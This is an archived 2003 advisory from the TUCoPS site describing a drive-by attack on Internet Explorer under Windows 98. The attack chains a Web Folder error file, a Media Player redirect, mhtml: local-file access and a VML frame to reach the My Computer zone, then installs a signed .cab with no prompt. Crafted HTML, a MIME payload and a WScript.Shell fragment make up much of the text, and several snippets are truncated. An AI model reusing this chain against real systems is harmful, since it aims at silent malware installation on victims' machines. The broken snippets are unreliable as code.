TUCoPS :: Browsers :: bypwebz.txt

Internet Explorer - Bypassing browser security

Sunday, May 4, 2003

Silent delivery and installation of an executable on the target 
machine, default install of win98 and Internet Explorer with all 
patches to date. No client input other than viewing a web page:

Mildly amused by the recent patching of the codebase saga spanning 
nearly 3 years now, we put on our thinking caps and come to the very 
simple, yet delicious conclusion:

As below we are able to inject arbitrary html into the local computer 
zone thus bypassing the browser's security. Nevertheless the codebase 
exploits as detailed time and time again, now no longer function, 
returning the standard active x error or security warning.


there is a very specific reason for that and to bypass it, we do like 


<object CLASSID="CLSID:55555555-5555" 
File://malware.cab <file://malware.cab>">


and where our:

MIME-Version: 1.0
Content-Transfer-Encoding: base64



contains a "signed" cab file. The digital signature is our key.

Provided the executable is signed, we are again able to install via 
the codebase object, from the local machine and without any prompts 
or warnings. Certainly we would not expect malware to be digitally 
signed out in the wild, but for what it is worth, we are back in 

Working Example



a) for demonstration purposes we use the ubiquitous flash file [.cab 
file] as it is both signed and benign and you are able to visually 
see the install:

[screen shot: <http://www.malware.com/aha.png> 14KB]

b) the custom crafted wecerr.txt weighs in at a hefty 555 KB, and can 
take a short while to download:

[screen shot: <http://www.malware.com/ah.png> 4KB]

once downloaded, simply take the:


<object CLASSID="CLSID:55555555-5555" 
File://malware.cab <file://malware.cab>">


and away you go.


1. None

End Call


Thursday, May 1, 2003

The following represents a trivial yet elaborate method of injecting 
arbitrary html into the "My Computer" zone on win98 using the 
Internet Explorer series of browsers.

The manufacturer, commonly known as "Microsoft" has a done a splendid 
job of battening down the hatches with many of the "quirky" behaviors 
associated with her best known product; Internet Explorer. 


1. Microsoft Security Bulletin MS03-014 Cumulative Patch for Outlook 
Express (330994) see: <http://www.securityfocus.com/bid/5473/>

2. Microsoft Internet Explorer Self Executing HTML File Vulnerability 
see: <http://www.securityfocus.com/bid/6961>

this one is particularly fascinating as an 'unannounced' patch was 
crammed into Microsoft Security Bulletin MS03-008 - Flaw in Windows 
Script Engine Could Allow Code Execution (814078) of March 19, 2003 
for 2. above in a relatively quick fashion: Feb 25, 2003 to March 19, 
2003 whereby now the extracted executable is placed in the Temporary 
Internet File [TIF] and controlled by the browser security setting.


Internet Explorer enjoys a unique component called the 'Web Folder" 
component. This is a selectable component install with the original 
installation of the browser or can be added later on. This unique 
component allows for an assortment of web publishing and authoring 
conveniences often touted as useful "feature".

But what it actually does, is create a nicely named file for us in a 
known location.


The Internet Explorer series 5 through 6 enjoy a related behavior to 
the so-called "Web Folder" component which allows us to point 
directly to one of these web folders and traverse it directly. 
However, should the folder not exist, an error message is generated 
and conveniently placed for us in the temp folder:


This particular error message is nothing more than a server side 404 
error message which can be modified to suit our needs as we require.


1. We first construct our trivial behavior to generate the error 
message like so:

<body onload=malware() style="behavior: url(#default#httpFolder);">
function malware(){document.body.navigate

What this will do is "probe" the target site for a webfolder, and if 
not found, create our error file in the temp folder as follows:

[screen shot: <http://www.malware.com/behave.png> 4KB]

2. We then take our multi-faceted Windows Media Player and construct 
a 0s url flip *.asf file and point that to our named file in our 
known location:

<iframe src="temp.asf">

URL: mhtml:file://C:\WINDOWS\TEMP\wecerr.txt

Because the error file is nothing more than a text file, we need to 
include our own html and allow Internet Explorer to 'read' it. 
Previously numerous possibilities to allow for this existed, 
including <object data="" type="text/html>, databinding with 
dataformatas="HTML", dotting file extensions etc. These now all 
appear to be patched.


But because we can craft our own error message on the server and 
point our trivial behavior to it, we simply construct our error 
message like so:


MIME-Version: 1.0
Content-Type: text/html;
Content-Transfer-Encoding: 7bit

<HTML xmlns:v = "urn:schemas-microsoft-com:vml"> 
<STYLE>v\:* {BEHAVIOR: url(#default#VML)}</STYLE> 
<body bgcolor=blue onload=malware() style="behavior: url
<center><font size="24" color="red" 

style="LEFT: 50px; WIDTH: 300px; POSITION: relative; TOP: 30px; 
HEIGHT: 200px" 
src = 

function malware(){


What that will do is generate our simple text file in our temp 
folder, and by merely mhtml'izing our 0s url flip in our Media Player 
like so: mhtml:file://C:\WINDOWS\TEMP\wecerr.txt, Internet Explorer 
will open our text file in full html splendor. 

Where it gets particularly interesting is as follows:

1. We place both our silly behavior and our iframe with 0s url flip 
on the same page
2. You navigate to that, automatically our silly behavior generates 
our custom crafted error file and places it in our known location. 
Simultaneously, our Media Player automatically opens our 0s url flip 
*.asf and points to that same file.
3. Because the Media Player is launched from the local machine [the 
physical player], it is able to navigate locally to the file vs. 
security measures currently in place to disallow referencing files 
from the internet directly to the local machine.
4. What then happens is our *.txt file is conveniently html'ized, but 
again, because of security measures, the html contents are actually 
extracted and opened from within the TIF as a *.TMP file -- this in 
accordance with Outlook Express recently cumulated security patches. 
In this case, while it would appear that we are inside the local 
machine and outside the security restrictions, we are in fact unable 
to do anything at all.
5. In order to defeat that we include a second file and scheme to 
then bypass that restriction. Our handy VML frame:

style="LEFT: 50px; WIDTH: 300px; POSITION: relative; TOP: 30px; 
HEIGHT: 200px" 
src = 

Because there is no restriction on referencing a local file remotely 
[from the TIF as an extracted MIME file] with this method, we create 
a second wecerr.txt with a different custom crafted content:

<xml xmlns:v = "urn:schemas-microsoft-com:vml">

<v:rect id="malware" fillcolor="red" 
onmouseover="javascript:alert(document.location);var wsh=new 


6. This is automatically generated once our first mhtml'ized 
wecerr.txt is opened and it automatically overwrites the first, 
allowing our VML frame to be rendered.

7. Now even with the MHTML file extracted and controlled by the TIF 
security settings, it is pointing back to the local machine and temp 
folder, and because it was originally extracted locally [from the TIF 
as an extracted MIME file], we are once again operating outside the 
security zone, in the "My Computer" zone and back to square one.

[screen shot: <http://www.malware.com/aces.png> 11KB]


1. None.

End Call


TUCoPS is optimized to look best in Firefox® on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2024 AOH